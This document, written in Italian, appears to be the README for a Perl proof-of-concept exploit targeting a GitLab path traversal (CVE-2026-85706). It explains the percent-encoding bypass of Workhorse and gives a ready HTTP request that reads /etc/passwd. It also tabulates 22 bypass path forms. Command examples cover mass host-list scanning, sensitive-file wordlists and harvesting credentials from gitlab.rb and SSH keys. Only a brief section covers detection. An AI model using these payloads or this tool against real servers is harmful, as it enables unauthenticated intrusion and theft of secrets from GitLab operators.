PoC in Perl che sfrutta CVE-2026-85706, un path traversal non autenticato in GitLab che consente la lettura arbitraria di file, con scansione di massa e raccolta di credenziali.
Solo per penetration testing autorizzato e operazioni Red Team.
L'uso non autorizzato costituisce reato penale. Vedi Avviso legale.
CVE-2026-85706 è una vulnerabilità di path traversal con CVSS 10.0 in GitLab Community ed Enterprise Edition che consente a un attaccante completamente non autenticato di leggere file arbitrari dal filesystem del server con una singola richiesta HTTP. Nessuna credenziale, nessun token, nessuna interazione utente richiesta.
| Branch | Intervallo vulnerabile | Corretta in |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
Lo stack HTTP di GitLab ha tre livelli:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse agisce come reverse proxy intelligente: per alcuni endpoint di "upload" (commit di repository, operazioni su file), legge i corpi delle richieste multipart, salva i dati dei file su disco e riscrive la richiesta prima di inoltrarla a Puma. Fondamentalmente, allega un header JWT (Gitlab-Workhorse-Api-Request) a ogni richiesta che proxa. Rails poi valida questo JWT (tramite require_gitlab_workhorse!) prima di eseguire qualsiasi logica dell'handler.
Livello 1 — Corrispondenza delle route di Workhorse:
Workhorse confronta i percorsi delle richieste usando una regex compilata che opera sulla stringa di byte grezza, percent-encoded. NON decodifica le sequenze %XX prima della corrispondenza.
Livello 2 — Routing Puma/Rack:
Puma decodifica le sequenze %XX prima che Grape instradi la richiesta. Quindi una richiesta a /repository/%63ommits viene decodificata in /repository/commits e instradata a CommitsController.
Livello 3 — Lettura file pre-auth:
Una volta nell'handler Rails (raggiunto senza il JWT di Workhorse perché Workhorse non ha mai fatto match sulla richiesta), l'handler legge params[:file][:path] dalla query string e chiama:
File.open(params[:file][:path]) # ← avviene PRIMA dell'autenticazione
Codificando in percentuale un carattere in un segmento di percorso statico, la richiesta dell'attaccante scivola oltre Workhorse senza essere rilevata:
| Segmento | Originale | Forma di bypass | Carattere codificato |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (qualsiasi) | commits | commits/ | slash finale |
| (qualsiasi) | commits | commits.json | suffisso Grape |
Dopo che il file è stato aperto, il contenuto viene esfiltrato tramite il parser della query-string di Rack:
Rack::Utils.parse_nested_query(File.read(path))
Se il file contiene un % non seguito da due cifre esadecimali valide (cosa comune nei file di configurazione Ruby, CI YAML, log, ecc.), Rack solleva:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Questo corpo di risposta 400 contiene il contenuto grezzo del file fino al byte incriminato incluso — rivelando il contenuto del file al chiamante non autenticato.
I file senza sequenze % sfruttabili (es. /etc/passwd pulito) restituiscono un 401 o un errore di validazione dei parametri dopo la lettura: questo funge da oracolo di esistenza del file (la lettura è comunque avvenuta pre-autenticazione).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Modulo | Pacchetto | Ruolo |
|---|---|---|
LWP::UserAgent | libwww-perl | Client HTTP (obbligatorio) |
LWP::Protocol::https | libwww-perl | Supporto HTTPS (obbligatorio) |
URI::Escape | liburi-perl | Codifica query-string (obbligatorio) |
Term::ANSIColor | libterm-ansicolor-perl | Output colorato (opzionale) |
JSON | libjson-perl | Modalità output JSON (opzionale) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Rendi eseguibile
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Rapido (predefinito) | Completo (--full) | |
|---|---|---|
| Richieste | ≤9 (1 preflight + ≤4×2) | 27+ |
| Uscita anticipata | Sì — si ferma al primo differenziale confermato | No — esamina tutte le 22 forme |
| Informazioni versione | No | Sì |
| Forme di bypass | 4 rappresentative Files API | Tutte le 22 (Commits + Files API) |
| Ideale per | Ricognizione rapida, grandi liste di host | Report di pentest, preparazione --file/--scan |
Pipeline del controllo rapido:
GET /api/v4/version — raggiungibilità + indizio GitLab/etc/hostname + canary univococanary → 'local file not present' ∧ hostname ≠ canary → VULNERABILE (esce immediatamente)Pipeline del controllo completo (--full):
--project-id e modalità di controlloIl flag --project-id è utilizzabile in ogni modalità, inclusi --check e --check-host-list. Comprendere l'interazione:
| Gruppo di bypass | Forme | Dipendenza dal project ID |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | Nessuna — la lettura del file precede il controllo del progetto per design del CVE. Qualsiasi ID (anche inesistente) produce il segnale corretto. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Richiesto — il progetto deve esistere ed essere leggibile anonimamente. Restituisce project-gate in caso contrario. |
Linee guida pratiche:
--check (rapido): usa solo forme Files API → il project ID è irrilevante.--check --full: testa tutte le 22 forme. Se conosci un ID di progetto pubblico, passa --project-id <N> per confermare anche le forme Commits API.--check-host-list: un singolo --project-id raramente corrisponde a un progetto pubblico su tutti gli host. Omettilo.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Verdetto | Significato |
|---|---|
leak | Contenuto del file restituito nel corpo della risposta tramite errore di parsing di Rack |
leak-fragment | Eco parziale del contenuto tramite frammento del nome del parametro |
read-noecho | HTTP 401 sul percorso di bypass — ambiguo: o la lettura del file è avvenuta pre-auth (vulnerabile, contenuto pulito senza sequenze % errate), o l'autenticazione scatta prima della lettura (server corretto). Usa --check per confermare tramite differenziale |
missing | Il percorso di bypass ha funzionato; handler raggiunto; file non presente o non leggibile |
rewrite | Workhorse ha intercettato questa forma di percorso — bypass fallito |
project-gate | Commits API ha rifiutato il progetto; prova le forme Files API |
noroute | Rails non ha instradato questa variante di percorso |
| Funzionalità | PoC Python | Questo PoC Perl |
|---|---|---|
| Varianti di percorso di bypass | 6 | 15 |
| Scansione file in blocco (T1083) | ✗ | ✓ Wordlist integrata di 38 percorsi |
| Raccolta credenziali (T1552.001) | ✗ | ✓ 22 pattern di credenziali |
| Output JSON | ✗ | ✓ --json |
| Output su file / tee | ✗ | ✓ --output |
| Messaggi oracolo di esistenza file | Base | Espliciti, con codice colore |
| Logica di retry | ✗ | ✓ --retries configurabile |
| Ritardo per richiesta | ✗ | ✓ --delay (secondi float) |
| User-Agent personalizzato | ✗ | ✓ --user-agent |
| Namespace/project ID | ✗ | ✓ Codifica automatica / → %2F |
| Modalità verbosa | ✗ | ✓ --verbose |
secret_key_base e otp_key_base in gitlab.rb/home/git/.ssh/, /root/.ssh/)Cerca richieste POST o PUT verso percorsi /api/v4/projects/*/repository/ contenenti:
%63, %43, %72, %70, %66, %46, ecc.)file.path.json sugli endpoint commits o filesQuesto strumento è fornito strettamente per:
L'uso non autorizzato contro sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione scritta a testare è illegale in praticamente ogni giurisdizione e può comportare azioni penali ai sensi delle leggi sull'abuso informatico (CFAA, Computer Misuse Act, ecc.).
L'autore e i contributori di questo strumento non si assumono alcuna responsabilità per qualsiasi uso improprio o danno causato da questo software.